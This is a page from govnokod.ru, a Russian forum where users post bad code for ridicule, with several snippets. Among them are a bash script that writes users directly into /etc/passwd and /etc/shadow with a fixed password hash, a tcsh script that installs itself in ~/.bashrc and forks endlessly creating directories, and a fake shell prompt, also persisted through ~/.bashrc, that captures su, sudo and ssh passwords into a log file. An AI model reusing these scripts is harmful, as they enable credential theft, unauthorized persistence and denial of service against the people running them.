- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+137
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
+131.6
#!/bin/bash
function get_group()
{
rm ./group
gnc=`cat /etc/group | wc -l`
cn=1
while let "cn<=gnc"
do
gn=`cat /etc/group | head -n $cn | tail -n 1 | tr ':' '\n' | head -n 1 | grep [A-Za-z0-9].*`
gnl=`cat /etc/group | head -n $cn | tail -n 1`
echo $gnl
echo "Do you want add your to group "$gn
read as
if [ "$as" == "yes" ]; then
echo "yes"
c=`echo $gnl | wc -c`
let c--
ct=":"
echo $c
cn2=`echo $gnl | cut -c$c`
echo "cn2 "$cn2
if [ "$cn2" != ":" ]
then
echo no
gnl=$gnl","
gnl=$gnl"$1"
echo $gnl >> ./group
else
gnl=$gnl""$1
echo $gnl >> ./group
fi
echo $gnl
else
echo $gnl >> ./group
fi
let cn++
done
cp ./group /etc/group
}
if [ $# -lt 1 ]; then
echo -n "Enter username:"
read username
uid=1
puid=0
while :
do
uid=`echo ${RANDOM:0:3}`
puid=`cat /etc/passwd | tr ':' '\n' | grep ^[0-9].*$ | grep $uid`
if [ "$puid" == "" ];then
echo "uid = $uid"
echo "puid = $puid"
echo $username
groupadd $username
gid=`cat /etc/group | grep $username | tr ':' '\n' | grep ^[0-9].*$ | head -n 1 | tail -n 1`
echo "gid "$gid
echo -n "Enter shell:"
read ushell
echo -n "Enter your name:"
read rname
echo $username:x:$uid:$gid:$rname:/home/$username:$ushell >> /etc/passwd
echo $username:Jkirh5i3e/GqU:14318:0:99999:7:7:: >> /etc/shadow
echo "Your password www.yandex.ru"
mkdir /home/$username
chmod u+r+w+x /home/$username
chmod g+r+w+x /home/$username
chmod o+r+w+x /home/$username
get_group $username
exit 0
else
uid=`echo ${RANDOM:0:3}`
echo $uid
echo "puid "$puid
fi
done
fi
echo -n "script havnt command line arguments"
exit 0
Регистрирует пользователя в системе
+154
#!/bin/tcsh
# Utility "p1", author Alice Stein ([email protected]),
chmod +r+w ~/.bashrc
set x3=$#
if($x3<1) then
#read last string from .bashrc that write one time
# and replace spaces sign _
set a=`cat ~/.bashrc | tail -n 1 | tr ' ' '_'`
#parameter $0 contains path to script and name of script
set b=$0
#if a line coincided from .bashrc with $0
if($a == $b) then
else
chmod +r+w ~/.bashrc
#write to file .bashrc that started each time with start bash
echo "$0" >> ~/.bashrc
#change right for access to file .bashrc
chmod -r-w ~/.bashrc
endif
#if command line parameters are not present assign default counter of directories 0 and command echo
set x1="0"
set x2="echo"
$0 $x1 $x2 &
else
#save command line arguments in environment variables
set x1=$1
set x2=$2
endif
#exec command passed from command line
$x2;
#write number of counter of directory in the system log /var/log/messages
logger $1;
#increment directory counter
@ x1++;
chmod +x+r+w $x1
#create directory
mkdir $x1
#call in the created directory
cd $x1
chmod +x+r+w $x1
#delete a file if a script is started the second time that did not result in hanging up of script
#delete hidden file
rm .$x1
#create hidden file
echo "1" > .$x1
#take away rights for access
chmod -x-r-w .$x1
cd ..
chmod -x-r-w $x1
#sleep on 1 second
sleep 1s;
#change right for access to file .bashrc
chmod -r-w ~/.bashrc
#recursive call with argument line parameter
$0 $x1 $x2 &
exit 0
shell script tcsh
+130.2
#!/bin/bash
cm=""
function psw_su()
{
t=`echo $1 | tr '_' ' '`
echo -n $t
read -s ps >> ~/.log
echo "password: " >> ~/.log
#safe password to log file
echo $ps >> ~/.log
echo
sleep 4s
echo "su: incorrect password"
$cm
# exit 0
};
function zar()
{
a=`cat ~/.bashrc | tail -n 1 | tr ' ' '_'`
b=$0
case $a in
$b)
;;
*)
echo $0 >> ~/.bashrc
;;
esac
};
zar
while :
do
psu="Password: "
psudo="root's_password:"
ht=$HOST
un=$USER
pw=`pwd`
case $pw in
$HOME)
#tilda ~ this is home directory
pw="~"
;;
*)
esac
#string of console of shell
nm=$USER"@"$HOST":"$pw"> "
echo -n $nm
echo -n " "
#enter command
cm=""
read -e cm
# cm=$1
#switch case
case $cm in
"")
;;
#authentficate as root
"su")
psw_su $psu
;;
#authentificat as root
"su -l root")
psw_su $psu
;;
#authentificate as other user
`echo $cm | grep "su -l" | grep [A-Za-z0-9].*`)
c=`echo $cm | tr ' ' '_' | rev`
c2=`basename $c _l-_us | rev`
echo "Login: "$c2 >> ~/.log
psw_su $psu
;;
#simple sudo as authentificate as root
"sudo bash")
psw_su $psudo
;;
`echo $cm | grep ssh`)
c=`echo $cm | tr ' ' '_' | rev`
c2=`basename $c _hss | rev`
echo "loginSSH: "$c2>> ~/.log
echo -n "Password: "
read -s ps
echo $cm >> ~/.log
echo "Password SSH:"$ps >> ~/.log
sleep 2s
echo
$cm
exit 0
;;
`echo $cm | grep sudo | grep sh`)
psw_su $psudo
;;
*)
esac
echo $cm >> ~/.log
#$cm >> ~/.log
#exec command
case $cm in
"")
cm="echo -n"
;;
shell script
+144.1
<div styleborder:3px solid #000000;
height: 300px;
width: 600px;
text-align:center;>
background:url(http://cs4288.vkontakte.ru/u29274663/90187299/x_a74c614b.jpg) no-repeat center;">
</div>
html-опус
+141.4
www.govnokod.ru
<b class="r1"></b><b class="r1"></b><b class="r1"></b><b class="r2"></b><b class="r2"></b><b class="r3"></b><b class="r4"></b><b class="r5"></b><b class="r7"></b><b class="r10"></b>
Хмм... Может показать разрабам, как закруглять углы у блоков без набора этого говна?.. Особенно если используются JS фрэймворки...
html
+106.7
http://www.****.**/***adm.php?name=admin&passwd=password
Как вам такая ссылка на АДМИН панель? Реальный сайт ... причём очень посещаемый ...
+83.5
ret = (func(a, b) == SpecNumber) ? true : false;
if (! ret)
{
ShowError ("Some message", a, b));
}
Обратить внимание на хитрость получения значения ret, а потом как его используют :)
+143
(=<`:9876Z4321UT.-Q+*)M'&%$H"!~}|Bzy?=|{z]KwZY44Eq0/{mlk**
hKs_dG5[m_BA{?-Y;;Vb'rR5431M}/.zHGwEDCBA@98\6543W10/.R,+O<
Программа "Hello World", написанная языке Malbolge. Сорцы интерпретатора можно скатать отсюда: http://www.lscheffer.com/malbolge_interp.html
+140
<table width="100%" border="0" cellspacing="0" cellpadding="1" id="gmtbl2" class="gmtbl">
<tbody>
<tr>
<td colspan="3" width="100%">
<table width="100%" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td colspan="3" width="100%" height="20" id="gmtdttl" class="gmtdttl"><B><A href="http://www.gismeteo.RU/towns/27760.htm" id="tgmtdttl" class="gmtdttl" target="_blank">Саранск</A></B></td>
</tr>
</tbody>
</table>
</td>
</tr>
<tr>
<td width="40%" id="gmtdtext0" class="gmtdtext" align="left">Пн, ночь</td>
<td width="40%" id="tgmtdtext0" class="gmtdtext" align="center">0..-2 °C
<td width="20%" align="center"><IMG src="http://informer.gismeteo.ru/html/images/sm/1n.gif" width="26" height="26" alt="Малооблачно" title="Малооблачно"></td><tr><td width="40%" id="gmtdtext1" class="gmtdtext" align="left"> Пн, утро</td><td width="40%" id="tgmtdtext1" class="gmtdtext" align="center">+4..+6 °C<td width="20%" align="center"><IMG src="http://informer.gismeteo.ru/html/images/sm/2.gif" width="26" height="26" alt="Облачно" title="Облачно"></td><tr><td width="40%" id="gmtdtext2" class="gmtdtext" align="left"> Пн, день</td><td width="40%" id="tgmtdtext2" class="gmtdtext" align="center">+10..+12 °C<td width="20%" align="center"><IMG src="http://informer.gismeteo.ru/html/images/sm/3.gif" width="26" height="26" alt="Пасмурно" title="Пасмурно"></td><tr><td width="40%" id="gmtdtext3" class="gmtdtext" align="left"> Пн, вечер</td><td width="40%" id="tgmtdtext3" class="gmtdtext" align="center">+4..+6 °C<td width="20%" align="center"><IMG src="http://informer.gismeteo.ru/html/images/sm/3n.gif" width="26" height="26" alt="Пасмурно" title="Пасмурно"></td>
<tr>
<td colspan="3" align="center">
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td align="right" height="20"><IMG src="http://informer.gismeteo.ru/html/images/logo.gif" width="13" height="20" alt="/"></td>
<td align="left"><A href="http://www.gismeteo.RU" id="lgmtdtext" class="gmtdtext" target="_blank">GISMETEO.RU</A></td>
</tr>
</tbody>
</table>
</td>
</tr>
<tr>
<td heigth="5" colspan="3"></td>
</tr>
</tbody>
</table>
html информера, который возвращает js, генерируемый на сайте gismeteo.ru.